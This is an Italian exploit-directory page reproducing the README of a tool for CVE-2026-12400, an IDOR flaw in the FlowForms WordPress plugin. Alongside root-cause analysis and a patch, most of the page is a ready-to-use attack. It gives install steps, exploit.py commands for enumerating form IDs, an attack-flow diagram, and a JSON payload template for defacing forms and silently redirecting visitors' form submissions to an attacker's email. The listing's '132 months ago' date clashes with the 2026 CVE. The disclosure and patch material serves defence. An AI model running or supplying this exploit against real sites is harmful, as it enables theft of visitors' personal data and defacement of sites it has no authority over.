Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-12400-Exploit — # Exploit IDOR autenticato per WordPress per CVE-2026-12400; enumera gli ID dei moduli REST di FlowForms e modifica il contenuto dei moduli o dirotta le notifiche email. | Kitploit
Strumenti/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APIPenetration TestingApprendimento e Formazione
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

# Exploit IDOR autenticato per WordPress per CVE-2026-12400; enumera gli ID dei moduli REST di FlowForms e modifica il contenuto dei moduli o dirotta le notifiche email.

Vedi Repository
132 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-12400 — FlowForms IDOR: Modifica non autorizzata dei moduli

Riferimento diretto a oggetti non sicuro (IDOR) autenticato (Contributor+) per la modifica arbitraria dei moduli in FlowForms ≤ 1.1.1

Panoramica della vulnerabilità

ProprietàValore
CVE IDCVE-2026-12400
Punteggio CVSS4.3 — Medio
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (Bypass dell'autorizzazione tramite chiave controllata dall'utente)
ProdottoFlowForms — Plugin WordPress per moduli conversazionali
Versione affettaTutte le versioni fino alla 1.1.1 incluse
Corretto inCorretto in 1.1.2
RicercatorePhantom Hat

Analisi tecnica

Studio completo white-box con analisi del codice sorgente, tracciamento del flusso di input e diff delle patch:

📄 CVE-2026-12400 Caso di studio — Medium

Superficie di attacco

FlowForms espone due endpoint API REST sotto il namespace flowforms/v1 che sono vulnerabili:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Entrambi accettano un {id} controllato dall'utente nel percorso URL e modificano i dati del modulo di destinazione — nome, contenuto, layout, URL di reindirizzamento e destinatari delle notifiche email.

Causa principale

Entrambe le registrazioni di route vulnerabili condividono la stessa permission_callback difettosa:

root@kitploit:~
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts è una capacità posseduta dai Contributor. Il parametro {id} non viene mai verificato rispetto alla proprietà dell'utente richiedente — qualsiasi utente autenticato può prendere di mira qualsiasi ID modulo sul sito.

Flusso dell'attacco

root@kitploit:~
Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Authenticate as Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Harvest REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerate published forms
        │<─ HTTP 200 ───────────────────────│      (any accessible form is a target)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Overwrite form name / content
        │       with attacker payload ─────>│       ← no owner check
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Hijack email notifications
        │       /settings ─────────────────>│       ← attacker receives all
        │<─ { "success": true } ────────────│         future form submissions
        │                                   │
        │   All 3 attack vectors confirmed  │  (5) Name ✔  Content ✔  Email ✔

Tre vettori di attacco

ModalitàEndpointImpatto
name/forms/{id}Rinominare qualsiasi modulo — deturpazione, ingegneria sociale
content/forms/{id}Sovrascrivere layout, schermate di benvenuto/ringraziamento, URL di reindirizzamento
email/forms/{id}/settingsDirottare l'email di notifica — ricevere silenziosamente tutte le sottomissioni del modulo

La modalità email è la più critica. Dopo il dirottamento, ogni sottomissione al modulo di contatto della vittima — inclusi PII dei visitatori, messaggi e dettagli di contatto — viene inoltrata silenziosamente all'indirizzo controllato dall'attaccante. L'amministratore del sito non vede alcuna indicazione della modifica.


Utilizzo dell'exploit

Prerequisiti

  • Python 3.8+
  • Un account autenticato con almeno il ruolo Contributor sul sito di destinazione

Installazione

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Modalità di funzionamento

Modifica del nome

Rinomina qualsiasi modulo con contenuto controllato dall'attaccante:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

Modifica del contenuto

Sovrascrive layout del modulo, schermate, URL di reindirizzamento e immagini di sfondo:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

Dirottamento notifiche email (Impatto massimo)

Reindirizza tutte le notifiche future di sottomissione dei moduli a un indirizzo controllato dall'attaccante:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Con proxy (Burp Suite)

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Riferimento completo dei flag

FlagShortDescrizioneObbligatorio
--url-uURL di destinazione WordPress✅
--userNome utente WordPress (Contributor+)✅
--passwordPassword WordPress✅
--id-start-iID modulo iniziale per l'enumerazione✅
--num-forms-nNumero di ID modulo da enumerare✅
--exploitModalità di attacco: name / content / email✅
--proxy-pURL del proxy (es. http://127.0.0.1:8080)❌

Personalizzazione dei payload

I template di payload JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) sono definiti all'inizio dello script. Modificarli prima di eseguire per personalizzare il contenuto dell'attacco — cambiare l'indirizzo email di notifica, l'URL di reindirizzamento, l'immagine di sfondo, il titolo del modulo, ecc.

root@kitploit:~
# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← change this
                    ...
                }
            }
        }
    }
}""")

Flusso di sfruttamento

L'exploit esegue tre passaggi automatizzati:

Step 1 — Autenticazione
Effettua l'accesso come attaccante (Contributor) e recupera un nonce REST API valido da wp-admin/post-new.php.

Step 2 — Enumerazione dei moduli
Scansiona GET /flowform/{id} nell'intervallo di ID specificato. Gli ID che restituiscono HTTP 200 vengono raccolti come target accessibili — questi sono moduli pubblicati appartenenti a qualsiasi utente del sito, inclusi gli amministratori.

Step 3 — Sfruttamento
A seconda della modalità selezionata, invia il payload corrispondente all'endpoint REST non protetto:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

Il server accetta la richiesta e applica la modifica senza alcun controllo di proprietà.


Mitigazione

AzioneDettagli
PatchSostituisci il controllo generico edit_posts con current_user_can('edit_post', $form_id) su entrambi gli endpoint — collegando il controllo delle capacità all'oggetto post specifico si applicano le regole di proprietà di WordPress
MitigazioneFinché non viene applicata la patch, limita i ruoli Contributor e Author se il plugin è attivo

Implementazione sicura

root@kitploit:~
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Riferimenti

  • CWE-639 — Bypass dell'autorizzazione tramite chiave controllata dall'utente
  • register_rest_route() — Documentazione sviluppatore WordPress
  • current_user_can() — Documentazione sviluppatore WordPress
  • Plugin FlowForms — WordPress.org

Struttura del progetto

root@kitploit:~
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Polished exploit with rich UI (3 modes)
├── requirements.txt            # Python dependencies
└── README.md                   # This file

Dichiarazione di non responsabilità

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi di ricerca educativa. L'accesso non autorizzato a sistemi informatici è illegale secondo le leggi applicabili in tutto il mondo. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software. Ottenere sempre un'autorizzazione scritta esplicita prima di testare qualsiasi sistema di cui non si è proprietari.


Autore

Phantom Hat — Ricercatore di sicurezza indipendente

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

Questa ricerca è stata condotta come parte della divulgazione responsabile delle vulnerabilità.

Scarica lo strumento